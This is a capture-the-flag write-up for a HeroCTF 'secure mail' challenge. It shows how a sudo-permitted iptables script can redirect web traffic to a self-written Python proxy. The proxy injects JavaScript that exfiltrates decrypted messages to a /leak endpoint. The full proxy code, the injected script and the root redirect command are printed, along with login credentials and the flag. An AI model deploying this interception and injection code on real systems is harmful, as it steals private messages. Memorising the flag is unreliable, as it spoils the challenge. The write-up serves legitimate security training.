Category: Web / Crypto / System
Difficulty: Medium
Flag: Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}
We’re given:
http://dyn03.heroctf.fr:13892ssh -p 11657 aragorn@dyn03.heroctf.fr
# password: hobbit
Goal:
Break the “secure” mail system and recover the flag Hero{...}.
Visiting:
http://dyn03.heroctf.fr:13892
Logging in with:
Username: aragorn
Password: hobbit
We see a very simple inbox UI:
New Encrypted Message
From: server@secure.mail
<ciphertext in base64>
[Decrypt]
When we click Decrypt, the ciphertext is decrypted client-side and replaced with a plaintext quote, for example:
Only put off until tomorrow what you are willing to die having left undone. ~Pablo Picasso
The flavour text heavily hints:
Bilbo thinks this is end-to-end encryption, but we have server access.
So instead of attacking RSA or the crypto directly, the vulnerability is architectural:
If the server can modify the JavaScript, it can break any “end-to-end” encryption implemented in that JavaScript.
Our job: leverage server-side access to undermine this so-called “end-to-end” encryption.
aragornWe’re given SSH access, so we log in:
ssh -p 11657 aragorn@dyn03.heroctf.fr
# password: hobbit
Basic recon:
whoami # aragorn
hostname # middle_earth
ls /
ls /var
ls /opt
ls /home
We notice:
/challenge exists but is not accessible:
cd /challenge
# Permission denied
/opt contains an interesting script:
cd /opt
ls -l
# -rwxrwxr-x 1 root root 2426 Nov 27 11:03 w_iptables.sh
Check sudo rights:
sudo -l
Relevant output:
User aragorn may run the following commands on middle_earth:
(root) /opt/w_iptables.sh
So:
/opt/w_iptables.sh as root with sudo.This will be our escalation vector.
/opt/w_iptables.shView the script:
cd /opt
sed -n '1,160p' w_iptables.sh
Summarized content:
#!/bin/bash
APPEND_OR_DELETE=$1
CHAIN=$2
PROTOCOL=$3
PORT_SRC=$4
PORT_DST=$5
ACTION=$6
ALLOWED_APPEND_OR_DELETE=("A" "D")
ALLOWED_CHAINS=("INPUT" "OUTPUT" "FORWARD" "PREROUTING" "POSTROUTING")
ALLOWED_PROTOCOLS=("tcp" "udp")
ALLOWED_ACTIONS=("ACCEPT" "DROP" "REJECT" "MASQUERADE" "REDIRECT")
# ... validation logic ...
if [[ "$ACTION" == "REDIRECT" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION" --to-ports "$PORT_DST"
elif [[ "$ACTION" == "MASQUERADE" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -j "$ACTION"
else
/usr/sbin/iptables -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION"
fi
Constraints (from the validation):
APPEND_OR_DELETE → A / DCHAIN → INPUT / OUTPUT / FORWARD / PREROUTING / POSTROUTINGPROTOCOL → tcp / udpACTION → ACCEPT / DROP / REJECT / MASQUERADE / REDIRECTKey insight:
We have a controlled sudo that lets us add/remove iptables rules, including NAT REDIRECT (-t nat -j REDIRECT) – but limited to low ports.
That is still enough for a root-enabled network MITM.
We cannot modify /challenge or the server-side templates directly as user aragorn.
But we can:
1337 (within allowed range).w_iptables.sh with REDIRECT to route HTTP traffic destined to the backend through our proxy.<script> tag into HTML responses./leak?d=<base64-encoded or URL-encoded plaintext>/leak.Result:
Create the MITM script on the box:
cat << 'EOF' > /tmp/mitm.py
import http.server, socketserver, http.client, urllib.parse, sys
BACKEND_HOST = "127.0.0.1"
BACKEND_PORT = 80 # internal backend (assumed)
LISTEN_PORT = 1337 # our MITM
INJECT_JS = '<script>(function(){function leak(t){if(!t)return;t=t.trim();if(!t)return;try{var i=new Image();i.src="/leak?d="+encodeURIComponent(t);}catch(e){}}var o=new MutationObserver(function(ms){ms.forEach(function(m){m.addedNodes.forEach(function(n){try{if(n.nodeType===Node.TEXT_NODE){leak(n.nodeValue);}else if(n.textContent){leak(n.textContent);}}catch(e){}});});});function s(){if(!document.body)return;o.observe(document.body,{childList:true,subtree:true});}if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",s);}else{s();}})();</script>'
class Proxy(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
sys.stderr.write("%s - - [%s] %s
" %
(self.client_address[0],
self.log_date_time_string(),
fmt % args))
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
# Exfil endpoint: /leak?d=...
if parsed.path == "/leak":
qs = urllib.parse.parse_qs(parsed.query)
data = qs.get("d", [""])[0]
if data:
print("[LEAK]", data)
sys.stdout.flush()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")
return
self._proxy()
def do_POST(self):
self._proxy()
def _proxy(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length) if length > 0 else None
conn = http.client.HTTPConnection(BACKEND_HOST, BACKEND_PORT, timeout=10)
headers = {k: v for k, v in self.headers.items()}
try:
conn.request(self.command, self.path, body=body, headers=headers)
res = conn.getresponse()
except Exception as e:
self.send_error(502, "Upstream error: %s" % e)
return
resp_body = res.read()
status = res.status
reason = res.reason
resp_headers = res.getheaders()
content_type = ""
for k, v in resp_headers:
if k.lower() == "content-type":
content_type = v
break
# Inject our JS into HTML bodies
if "text/html" in content_type and b"</body>" in resp_body:
inject_bytes = INJECT_JS.encode()
new_body = resp_body.replace(b"</body>", inject_bytes + b"</body>", 1)
diff = len(new_body) - len(resp_body)
resp_body = new_body
new_headers = []
for k, v in resp_headers:
if k.lower() == "content-length":
try:
v = str(int(v) + diff)
except ValueError:
v = str(len(resp_body))
new_headers.append((k, v))
resp_headers = new_headers
self.send_response(status, reason)
for k, v in resp_headers:
if k.lower() in ("connection", "keep-alive", "proxy-authenticate",
"proxy-authorization", "te", "trailers",
"transfer-encoding", "upgrade"):
continue
self.send_header(k, v)
self.end_headers()
self.wfile.write(resp_body)
def main():
with socketserver.ThreadingTCPServer(("", LISTEN_PORT), Proxy) as httpd:
print("[*] MITM listening on port", LISTEN_PORT)
print("[*] Proxying to %s:%d" % (BACKEND_HOST, BACKEND_PORT))
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[!] Stopping MITM")
if __name__ == "__main__":
main()
EOF
What this proxy does:
0.0.0.0:1337127.0.0.1:80 (the internal backend)Content-Type: text/html</body> tagINJECT_JS before </body>./leak?d=...:
d parameter as [LEAK] <data>We now hook incoming HTTP traffic to our proxy.
Assumption: external traffic hits port 13892 → DNAT → internal port 80.
We’ll insert ourselves into that flow using NAT PREROUTING:
sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT
This effectively runs (as root):
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 1337
Now any HTTP request hitting port 80 is transparently rerouted to our MITM proxy on port 1337, which forwards it to the real backend.
Start the MITM:
python3 /tmp/mitm.py
Output:
[*] MITM listening on port 1337
[*] Proxying to 127.0.0.1:80
From your own machine, browse again to:
http://dyn03.heroctf.fr:13892
Login as aragorn:hobbit, then:
On the server, in the mitm.py output, you should see something like:
10.99.xx.xx - - [date] "POST /request_encrypted HTTP/1.1" 200 -
[LEAK] New Encrypted Message
From: server@secure.mail
Decrypt
cL8vUcV...
[LEAK] Decrypted
[LEAK] When you stop chasing the wrong things you give the right things a chance to catch you. ~Lolly Daskal
This confirms:
/leak?d=..., which our MITM logs.Exactly what we need for capturing Saruman’s admin messages.
After some time (or when the admin/bot processes their messages), we eventually see a new leak in the proxy output:
[LEAK] Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}
That matches the expected flag format.
Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}